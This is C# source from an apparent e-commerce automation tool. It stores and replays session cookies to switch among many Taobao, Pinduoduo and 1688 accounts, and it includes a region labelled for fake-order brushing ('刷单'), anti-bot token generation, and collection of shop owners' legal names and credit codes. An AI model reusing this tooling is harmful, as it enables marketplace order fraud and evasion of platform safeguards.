fromStr = "pd-";
string url = BaseClass.BuildObjString("data_change&act=get_pid");
string data = "";
// 根据商品id查找缓存
if (string.IsNullOrEmpty(vdHtml) || vdHtml.ToLower().Contains("error"))
{
long insertGoodId = Convert.ToInt64(upProduct.from_id) % 1024;
data = "&product_id=" + fromStr + tagStr + upProduct.from_id
+ "&img_id="
+ "&suffix=" + insertGoodId
+ "&site_id=&" + UserLogin.GetSignaturex();
vdHtml = GetHtml.PostUtf8(url, data);
if (string.IsNullOrEmpty(vdHtml) || vdHtml.ToLower().Contains("error"))
vdHtml = GetHtml.PostUtf8(url, data);
// 读取缓存成功
if (!string.IsNullOrEmpty(vdHtml) && !vdHtml.ToLower().Contains("error"))
{
string siteId = BaseRegex.GetMatchRegexString(vdHtml, "\"site_id\":\"([\\s\\S]+?)\"");
string content = BaseRegex.GetMatchRegexString(vdHtml, "\"content\":\"([\\s\\S]+?)(])\"");
if (content != null)
{
content = content.Replace("\\", "") + "]";
}
else
{
content = BaseRegex.GetMatchRegexString(vdHtml, "\"content\":\"([\\s\\S]+?)\"");
}
try
{
var tupleItems = content.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries);
foreach (var tupleItem in tupleItems)
{
var items = tupleItem.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries);
if (items.Length >= 2 && items[0].Length > 5)
{
try
{
var item1 = items[0];
var item2 = items[1];
var item3 = items.Length >= 3 ? items[2] : items[1];
mappingResultWd.Add(new Tuple<string, int, int>(item1, Convert.ToInt32(item2), Convert.ToInt32(item3)));
}
catch
{
}
}
else if (items.Length == 1 && items[0].StartsWith("tit_"))
{
// 微店商品标题
//if (string.IsNullOrEmpty(prod.ProductTitle))
//{
// prod.ProductTitle = items[0].Replace("tit_", "");
// prod.ProductTitle = GetHtml.Unicode2String(prod.ProductTitle).Replace("\\/", "/");
//}
}
}
}
catch
{
}
}
}
return mappingResultWd;
}
/// <summary>
/// 根据商品标题寻找微店商品缓存
/// </summary>
/// <param name="title">商品标题</param>
/// <param name="mappingFrom"></param>
/// <param name="isVDian"></param>
/// <returns></returns>
public static List<Tuple<string, int, int>> GetFakeCacheVDianTitle(string productTitle)
{
var result = new List<Tuple<string, int, int>>();
var html = "";
if (string.IsNullOrEmpty(productTitle))
return result;
string url = BaseClass.BuildObjString("data_change&act=get_cache_title");
string data = "";
// 根据商品id查找缓存
if (string.IsNullOrEmpty(html) || html.ToLower().Contains("error"))
{
string tid = Md5Base.GetMd5(productTitle).Substring(8, 16);
long suffix = Math.Abs(BaseClass.GetLong(tid)) % 1024;
data = "&tid=" + tid
+ "&suffix=" + suffix
+ "&" + UserLogin.GetSignaturex();
html = GetHtml.PostUtf8(url, data);
if (string.IsNullOrEmpty(html))
html = GetHtml.PostUtf8(url, data);
}
// 读取缓存成功
if (!string.IsNullOrEmpty(html) && !html.ToLower().Contains("error"))
{
string content = BaseRegex.GetMatchRegexString(html, "\"content\":\"([\\s\\S]+?)(])\"");
if (content != null)
{
content = content.Replace("\\", "") + "]";
}
else
{
content = BaseRegex.GetMatchRegexString(html, "\"content\":\"([\\s\\S]+?)\"");
}
try
{
var tupleItems = content.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries);
foreach (var tupleItem in tupleItems)
{
var items = tupleItem.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries);
if (items.Length >= 2 && items[0].Length > 5)
{
try
{
var item1 = items[0];
var item2 = items[1];
var item3 = items.Length >= 3 ? items[2] : items[1];
result.Add(new Tuple<string, int, int>(item1, Convert.ToInt32(item2), Convert.ToInt32(item3)));
}
catch
{
}
}
}
}
catch
{
}
return result;
}
return null;
}
/// <summary>
/// 根据价格区间筛选可以满足Relation条件的微店商品
/// </summary>
/// <param name="prodList"></param>
/// <param name="minPrice"></param>
/// <param name="maxPrice"></param>
/// <returns></returns>
public static List<Tuple<string, int, int>> FilteWeiDianProducts(List<Tuple<string, int, int>> prodList, int minPrice, int maxPrice)
{
if (prodList == null)
return new List<Tuple<string, int, int>>();
if (prodList.Count == 0)
return prodList;
var result = prodList.Where(p => !string.IsNullOrEmpty(p.Item1) && p.Item2 >= minPrice && p.Item3 >= maxPrice && ((p.Item3 < maxPrice * 3.5M) || (p.Item3 < maxPrice + 3000))).ToList();
return result;
}
/// <summary>
/// 获取净化数据
/// </summary>
/// <param name="upProduct"></param>
/// <returns></returns>
public static string GetJinHuaCache(string pid)
{
string url = BaseClass.LoginApiUrl + "?obj=pinbaobao/fession_api&act=get_detail";
StringBuilder sb = new StringBuilder();
sb.Append("&fession_id=" + pid);
string data = UserLogin.GetSignaturex() + sb;
string html = GetHtml.PostUtf8(url, data);
html = GetHtml.Decode(html).Replace("\\/", "/").Replace(@"\", "");
return html;
}
}
}
+689
View File
@@ -0,0 +1,689 @@
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using AllBase;
using CefSharp;
using Cookie = System.Net.Cookie;
namespace Work.CollectClass
{
public class SetCookiesUserInfo
{
public static bool ReflashUsers = false;
public static bool ReflashPinUsers = false;
public static bool ReflashFunUsers = false;
public static bool ReflashRepUsers = false;
public static bool ReflashTaoBaoUsers = false;
public static bool SlipaceReflashUsers = false;
public static bool ALReflashUsers = false;
public static bool ALReflashFunUsers = false;
public static string UserName = "";
public static string TaoBaoUserName = "";
public static string SlipaceUserName = "";
public static string ALUserName = "";
public static string PayMobile = "";
public static string SlipacePayMobile = "";
public static string ALPayMobile = "";
public static string CookiesString = "";
public static Dictionary<string, UserCookies> UserCookies = new Dictionary<string, UserCookies>();
public static Dictionary<string, UserSlipaceCookies> UserSlipaceCookies = new Dictionary<string, UserSlipaceCookies>();
public static Dictionary<string, UserALCookies> UserALCookies = new Dictionary<string, UserALCookies>();
private List<Cookie> Cookies;
private List<Cookie> SlipaceCookies;
private List<Cookie> ALCookies;
public void Set(string mobile, bool refundFlag)
{
if (!UserCookies.ContainsKey(mobile))
{
MessageBox.Show("没有找到这个手机号", "提示");
return;
}
string url = BaseClass.NewUrl+"/personal_profile.html";
string refere = BaseClass.NewUrl+"/personal.html";
string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true);
string name = BaseRegex.GetMatchRegexString(ref html, @"\\""nickname\\"":\\""([^']+?)\\""");
if (name == mobile)
return;
List<Cookie> cookies = UserCookies[mobile].Cookies;
Delete();
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = BaseClass.NewUrl+"/";
foreach (System.Net.Cookie c in cookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
PayMobile = mobile;
Cookies = cookies;
new Thread(Set).Start();
if (!refundFlag)
{
MessageBox.Show("切换到账户:" + mobile + " 成功", "提示");
}
}
/// <summary>
/// 重试一次设置cookies
/// </summary>
public void Set()
{
Thread.Sleep(1000);
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = BaseClass.NewUrl+"/";
foreach (System.Net.Cookie c in Cookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
}
public bool SetTaoBao(string userName, bool refundFlag)
{
if (!UserCookies.ContainsKey(userName))
{
MessageBox.Show("没有找到这个淘宝买家", "提示");
return false;
}
DeleteTaoBao();
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
List<Cookie> cookies = UserCookies[userName].Cookies;
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = "https://i.taobao.com/my_taobao.htm";
foreach (System.Net.Cookie c in cookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
PayMobile = userName;
if (!refundFlag)
{
MessageBox.Show("切换到账户:" + userName + " 成功", "提示");
}
return true;
}
/// <summary>
/// 设置淘宝卖家
/// </summary>
/// <param name="userName"></param>
/// <returns></returns>
public bool SetSellerTaoBao(string userName)
{
if (!UserCookies.ContainsKey(userName))
{
MessageBox.Show("没有找到这个淘宝卖家", "提示");
return false;
}
DeleteTaoBao();
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
List<Cookie> cookies = UserCookies[userName].Cookies;
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = "https://myseller.taobao.com/home.htm";
foreach (System.Net.Cookie c in cookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
PayMobile = userName;
return true;
}
public void Get()
{
string url = BaseClass.BuildObjString("user_login_cookies&act=get");
string data = "&site_id=-1";
string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data);
if (string.IsNullOrEmpty(html) || !html.Contains("'"))
return;
UserCookies.Clear();
var m = BaseRegex.GetMatchRegex(ref html, "<user_login_cookies([^>]+?)>");
for (int i = 0; m != null && i < m.Count; i++)
{
string list = m[i].Groups[0].Value;
string name = BaseRegex.GetStringJson(ref list, "user_name");
if (string.IsNullOrEmpty(name) || UserCookies.ContainsKey(name))
continue;
string cookies = BaseRegex.GetStringJson(ref list, "cookies");
int site_id = BaseRegex.GetIntJson(ref list, "site_id");
AddList(name, cookies, site_id);
}
ReflashUsers = true;
ReflashPinUsers = true;
ReflashFunUsers = true;
ReflashRepUsers = true;
ReflashTaoBaoUsers = true;
ALReflashUsers = true;
ALReflashFunUsers = true;
UserName = "点击下拉切换";
TaoBaoUserName = "点击下拉切换";
ALUserName = "点击下拉切换";
}
public void Add(string name, string cookies, int site_id)
{
string url = BaseClass.BuildObjString("user_login_cookies&act=insert");
StringBuilder data = new StringBuilder();
data.Append("&user_name=" + name);
data.Append("&site_id="+ site_id);
data.Append("&cookies=" + GetHtml.UrlEncodeUtf8(cookies));
string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data);
if (html != "ok")
{
Thread.Sleep(10 * 1000);
html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data);
}
AddList(name, cookies, site_id);
}
public void AddList(string name, string cookies, int site_id)
{
string[] l = cookies.Split(';');
List<Cookie> cookie = new List<Cookie>();
for (int j = 0; j < l.Length; j++)
{
if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("="))
continue;
string[] ll = l[j].Split('=');
if (site_id == 1)
{
Cookie c = new Cookie();
c.Domain = "taobao.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
c = new Cookie();
c.Domain = "tmall.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
if (site_id == 2 || site_id == 0 || site_id == -1)
{
Cookie c = new Cookie();
c.Domain = "yangkeduo.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
if (site_id == 3)//淘宝卖家
{
Cookie c = new Cookie();
c.Domain = "taobao.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
if (site_id == 4)//进宝
{
Cookie c = new Cookie();
c.Domain = "jinbao.pinduoduo.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
}
UserCookies uc = new UserCookies();
uc.Cookies = cookie;
uc.UserName = name;
uc.SiteId = site_id;
if (site_id.Equals(1))
{
TaoBaoUserName = name;
}
else if (site_id.Equals(0) || site_id.Equals(2))
{
UserName = name;
}
if (!UserCookies.ContainsKey(name))
UserCookies.Add(name, uc);
else
UserCookies[name] = uc;
ReflashUsers = true;
ReflashFunUsers = true;
ReflashPinUsers = true;
ReflashRepUsers = true;
ReflashTaoBaoUsers = true;
}
public void Delete()
{
var cookieManager = Cef.GetGlobalCookieManager();
if (BaseClass.CookiesAllString.ContainsKey("yangkeduo.com"))
{
var cookies = BaseClass.CookiesAllString["yangkeduo.com"];
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string name = l[i].Split('=')[0].Trim();
try
{
cookieManager.DeleteCookies(BaseClass.NewUrl+"/", name);
cookieManager.DeleteCookies("http://yangkeduo.com/", name);
//cookieManager.Dispose();
}
catch
{
}
}
}
}
public void DeleteTaoBao()
{
var cookieManager = Cef.GetGlobalCookieManager();
if (BaseClass.CookiesAllString.ContainsKey("taobao.com"))
{
var cookies = BaseClass.CookiesAllString["taobao.com"];
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string name = l[i].Split('=')[0].Trim();
try
{
cookieManager.DeleteCookies("https://i.taobao.com/my_taobao.htm", name);
cookieManager.DeleteCookies("https://login.taobao.com/member/login.jhtml", name);
//cookieManager.Dispose();
}
catch
{
}
}
}
if (BaseClass.CookiesAllString.ContainsKey("tmall.com"))
{
var cookies = BaseClass.CookiesAllString["tmall.com"];
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string name = l[i].Split('=')[0].Trim();
try
{
cookieManager.DeleteCookies("https://i.taobao.com/my_taobao.htm", name);
cookieManager.DeleteCookies("https://login.taobao.com/member/login.jhtml", name);
//cookieManager.Dispose();
}
catch
{
}
}
}
}
public void DeleteJinBao()
{
var cookieManager = Cef.GetGlobalCookieManager();
if (BaseClass.CookiesAllString.ContainsKey("jinbao.pinduoduo.com"))
{
var cookies = BaseClass.CookiesAllString["jinbao.pinduoduo.com"];
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string name = l[i].Split('=')[0].Trim();
try
{
cookieManager.DeleteCookies("http://jinbao.pinduoduo.com/", name);
cookieManager.DeleteCookies("http://pinduoduo.com/", name);
//cookieManager.Dispose();
}
catch
{
}
}
}
}
#region 刷单
public void Setslipace(string mobile, bool refundFlag)
{
if (!UserSlipaceCookies.ContainsKey(mobile))
{
MessageBox.Show("没有找到这个手机号", "提示");
return;
}
string url = BaseClass.NewUrl+"/personal_profile.html";
string refere = BaseClass.NewUrl+"/personal.html";
string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true);
string name = BaseRegex.GetMatchRegexString(ref html, @"\\""nickname\\"":\\""([^']+?)\\""");
if (name == mobile)
return;
List<Cookie> cookies = UserSlipaceCookies[mobile].Cookies;
Delete();
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = BaseClass.NewUrl+"/";
foreach (System.Net.Cookie c in cookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
SlipacePayMobile = mobile;
SlipaceCookies = cookies;
new Thread(SlipaceSet).Start();
if (!refundFlag)
{
MessageBox.Show("切换到账户:" + mobile + " 成功", "提示");
}
}
/// <summary>
/// 重试一次设置cookies
/// </summary>
public void SlipaceSet()
{
Thread.Sleep(1000);
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = BaseClass.NewUrl+"/";
foreach (System.Net.Cookie c in SlipaceCookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
}
public void AddSlipace(string name, string cookies, int site_id)
{
FileBase.WriteAllText("temp/MobileCookies/" + StringToUnicode(name) + ".tjm", cookies,
Encoding.Default);
AddListSlipace(name, cookies, site_id);
}
public void AddListSlipace(string name, string cookies, int site_id)
{
string[] l = cookies.Split(';');
List<Cookie> cookie = new List<Cookie>();
for (int j = 0; j < l.Length; j++)
{
if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("="))
continue;
string[] ll = l[j].Split('=');
if (site_id == 2 || site_id == 0)
{
Cookie c = new Cookie();
c.Domain = "yangkeduo.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
}
UserSlipaceCookies uc = new UserSlipaceCookies();
uc.Cookies = cookie;
uc.UserName = name;
uc.SiteId = site_id;
if (site_id.Equals(0) || site_id.Equals(2))
{
SlipaceUserName = name;
}
if (!UserSlipaceCookies.ContainsKey(name))
UserSlipaceCookies.Add(name, uc);
else
UserSlipaceCookies[name] = uc;
SlipaceReflashUsers = true;
}
#endregion
#region 阿里巴巴
public void SetAL(string mobile, bool refundFlag)
{
if (!UserALCookies.ContainsKey(mobile))
{
MessageBox.Show("没有找到这个阿里巴巴买家", "提示");
return;
}
List<Cookie> cookies = UserALCookies[mobile].Cookies;
DeleteAL();
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = "https://www.1688.com/";
foreach (System.Net.Cookie c in cookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
ALPayMobile = mobile;
ALCookies = cookies;
new Thread(ALSet).Start();
}
public void ALSet()
{
Thread.Sleep(1000);
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = "https://www.1688.com/";
foreach (System.Net.Cookie c in ALCookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
}
public void AddAL(string name, string cookies, int site_id)
{
FileBase.WriteAllText("temp/ALCookies/" + StringToUnicode(name) + ".tjm", cookies,
Encoding.Default);
AddListAL(name, cookies, site_id);
}
public void AddListAL(string name, string cookies, int site_id)
{
string[] l = cookies.Split(';');
List<Cookie> cookie = new List<Cookie>();
for (int j = 0; j < l.Length; j++)
{
if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("="))
continue;
string[] ll = l[j].Split('=');
if (site_id == 3)
{
Cookie c = new Cookie();
c.Domain = "1688.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
}
UserALCookies uc = new UserALCookies();
uc.Cookies = cookie;
uc.UserName = name;
uc.SiteId = site_id;
if (site_id.Equals(3))
{
ALUserName = name;
}
if (!UserALCookies.ContainsKey(name))
UserALCookies.Add(name, uc);
else
UserALCookies[name] = uc;
ALReflashUsers = true;
ALReflashFunUsers = true;
}
public void DeleteAL()
{
var cookieManager = Cef.GetGlobalCookieManager();
if (BaseClass.CookiesAllString.ContainsKey("1688.com"))
{
var cookies = BaseClass.CookiesAllString["1688.com"];
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string name = l[i].Split('=')[0].Trim();
try
{
cookieManager.DeleteCookies("https://www.1688.com/", name);
cookieManager.DeleteCookies("http://www.1688.com/", name);
//cookieManager.Dispose();
}
catch
{
}
}
}
}
private string StringToUnicode(string value)
{
byte[] bytes = Encoding.Unicode.GetBytes(value);
StringBuilder stringBuilder = new StringBuilder();
for (int i = 0; i < bytes.Length; i += 2)
{
// 取两个字符,每个字符都是右对齐。
stringBuilder.AppendFormat("u{0}{1}", bytes[i + 1].ToString("x").PadLeft(2, '0'), bytes[i].ToString("x").PadLeft(2, '0'));
}
return stringBuilder.ToString();
}
#endregion
}
public class UserCookies
{
public string UserName = "";
public List<Cookie> Cookies = new List<Cookie>();
public int SiteId = 0;
}
public class UserSlipaceCookies
{
public string UserName = "";
public List<Cookie> Cookies = new List<Cookie>();
public int SiteId = 0;
}
public class UserALCookies
{
public string UserName = "";
public List<Cookie> Cookies = new List<Cookie>();
public int SiteId = 0;
}
}
+91
View File
@@ -0,0 +1,91 @@
using AllBase;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
namespace Work.CollectClass
{
public class ShopAccountControl
{
public string Name;
public static int threadCount=5;
public static List<ShopAccountDetail> ShopAccountDetailList = new List<ShopAccountDetail>();
public ShopAccountControl(string name)
{
Name = name;
}
public void Get()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (shop.Message == "会话已过期")
continue;
var p = new ShopAccountDetailLogic(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.Get), threadCount);
Thread.Sleep(1000);
}
Threadx.ThreadListWait(ref ts);
}
}
public class ShopAccountDetailLogic
{
public string Name;
public ShopChatBase Shop;
public ShopAccountDetailLogic(string Name,ShopChatBase Shop)
{
this.Name = Name;
this.Shop = Shop;
}
public void Get()
{
string url = " https://mms.pinduoduo.com/earth/api/mallInfo/queryFinalCredentialNew";
string refere = "https://mms.pinduoduo.com/mallcenter/info/basic";
string data = "{}";
//第一页匹配结果
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
string categoryName = BaseRegex.GetMatchRegexString(html, @"""staple"":\[""([^<]+)""\]");//主营类目
int mallType = BaseRegex.GetIntJson(ref html, "mallType");//店铺类型
string mallAuth = "个人店铺";
if (mallType != 2)
mallAuth = "企业店铺";
string companyName = BaseRegex.GetStringJson(ref html, "companyName");//公司名称
string socialCreditUnicode = BaseRegex.GetStringJson(ref html, "socialCreditUnicode");//信用代码
string operatorName= BaseRegex.GetStringJson(ref html, "operatorName");//管理员姓名
string legalRepresentativeName = BaseRegex.GetStringJson(ref html, "legalRepresentativeName");//管理员姓名
ShopAccountDetail account = new ShopAccountDetail();
account.ShopId = Shop.ShopId;
account.ShopName = Shop.ShopName;
account.ShopNumer = Shop.Name;
account.CategroyName = categoryName;
account.MallAuth = mallAuth;
account.CompanyName = companyName;
account.SocialCreditUnicode = socialCreditUnicode;
account.OperatorName = operatorName;
account.LegalRepresentativeName = legalRepresentativeName;
ShopAccountControl.ShopAccountDetailList.Add(account);
LogSave.Add(Name, "正在读取店铺 " + Shop.ShopName + "数据");
}
}
public class ShopAccountDetail
{
public string ShopId = "";
public string ShopName = "";
public string ShopNumer = "";
public string CategroyName = "";
public string MallAuth = "";
public string CompanyName = "";
public string SocialCreditUnicode = "";
public string OperatorName = "";
public string LegalRepresentativeName = "";
}
}
+1000
View File
@@ -0,0 +1,1000 @@
using System;
using System.Collections.Generic;
using System.Threading;
using AllBase;
using Work.Api;
using JavaScriptEngineSwitcher.Core;
using JavaScriptEngineSwitcher.V8;
using Work.ManageClass;
namespace Work.CollectClass
{
public class ShopDetailControl
{
public string Name;
public static int threadCount;
public bool yesFlag;
public bool sevFlag;
public bool thirFlag;
public static List<ShopDetail> ShopDetailTempList = new List<ShopDetail>();
public ShopDetailControl(string name)
{
Name = name;
}
public void Get()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (shop.Message == "会话已过期")
continue;
var p = new ShopDetailGet(Name, shop);
p.yesFlag = yesFlag;
p.sevFlag = sevFlag;
p.thirFlag = thirFlag;
Threadx.ThreadListWait(ref ts, new Thread(p.Get), threadCount);
Thread.Sleep(1000);
}
Threadx.ThreadListWait(ref ts);
}
}
public class ShopDetailGet
{
public string Name;
public ShopChatBase Shop;
public bool yesFlag;
public bool sevFlag;
public bool thirFlag;
public static string NoCode = "";
public ShopDetailGet(string name,ShopChatBase shop)
{
Name = name;
Shop = shop;
}
public void Get()
{
try
{
string cookies = "", shopId = "", shopName = "";
int mall_id = Shop.MallId;
if (Shop != null)
{
cookies = Shop.Cookies;
shopId = Shop.ShopId;
shopName = Shop.ShopName;
mall_id = Shop.MallId;
}
#region 商品数量数据
//商品上架
string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
string refere = "https://mms.pinduoduo.com/Pdd.html";
//post参数
string sort_by = "id";
string sort_type = "DESC";
int is_onsale = 1;
int sold_out = 0;
int size = 15;
int pageIndex = 1;
string data = "{\"sort_by\":\"" + sort_by +
"\",\"sort_type\":\"" + sort_type +
"\",\"is_onsale\":" + is_onsale +
",\"sold_out\":" + sold_out +
",\"size\":" + size +
",\"page\":" + pageIndex +
",\"mall_id\":" + mall_id + "}";
//第一页匹配结果
//string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon());
//上架商品记录数
int ShelvesCount = BaseRegex.GetIntJson(ref html, "total");
//商品下架
url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
refere = "https://mms.pinduoduo.com/Pdd.html";
//post参数
sort_by = "id";
sort_type = "DESC";
is_onsale = 0;
sold_out = 0;
size = 15;
pageIndex = 1;
data = "{\"sort_by\":\"" + sort_by +
"\",\"sort_type\":\"" + sort_type +
"\",\"is_onsale\":" + is_onsale +
",\"sold_out\":" + sold_out +
",\"size\":" + size +
",\"page\":" + pageIndex +
",\"mall_id\":" + mall_id + "}";
//第一页匹配结果
//html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon());
//上架商品记录数
int lowerCount = BaseRegex.GetIntJson(ref html, "total");
//商品售罄
url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
refere = "https://mms.pinduoduo.com/Pdd.html";
//post参数
sort_by = "id";
sort_type = "DESC";
is_onsale = 1;
sold_out = 1;
size = 15;
pageIndex = 1;
data = "{\"sort_by\":\"" + sort_by +
"\",\"sort_type\":\"" + sort_type +
"\",\"is_onsale\":" + is_onsale +
",\"sold_out\":" + sold_out +
",\"size\":" + size +
",\"page\":" + pageIndex +
",\"mall_id\":" + mall_id + "}";
//第一页匹配结果
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());//GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//售罄商品记录数
int sellOutCount = BaseRegex.GetIntJson(ref html, "total");
//全部商品
url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
refere = "https://mms.pinduoduo.com/Pdd.html";
//post参数
string order_by = "id:desc";
size = 15;
pageIndex = 1;
data = "{\"order_by\":\"" + order_by +
//"\",\"sort_type\":\"" + sort_type +
//"\",\"is_onsale\":" + is_onsale +
//",\"sold_out\":" + sold_out +
"\",\"size\":" + size +
",\"page\":" + pageIndex +
",\"mall_id\":" + mall_id + "}";
//第一页匹配结果
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());//GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//全部商品记录数
int allGoodsCount = BaseRegex.GetIntJson(ref html, "total");
#endregion
string codext = "";
//30天出货量 30天成交金额
url = "https://mms.pinduoduo.com/janus/api/userinfo";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//主营类目
string staple = BaseRegex.GetStringJson(ref html, "staple");
var m = BaseRegex.GetMatchRegex(ref html, @"""staple"":\s*\[""([\s\S]+?)""\]");
for (int i = 0; m != null && i < m.Count; i++)
{
staple = m[i].Groups[1].Value;
}
if (staple == "[]")
staple = "普通商品";
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codext = jsEngine.CallFunction("aaa", "").ToString();
}
url = "https://mms.pinduoduo.com/sydney/api/mallInfo/queryMallDataPageOverView";//"https://mms.pinduoduo.com/mars/shop/statisticsTrend";
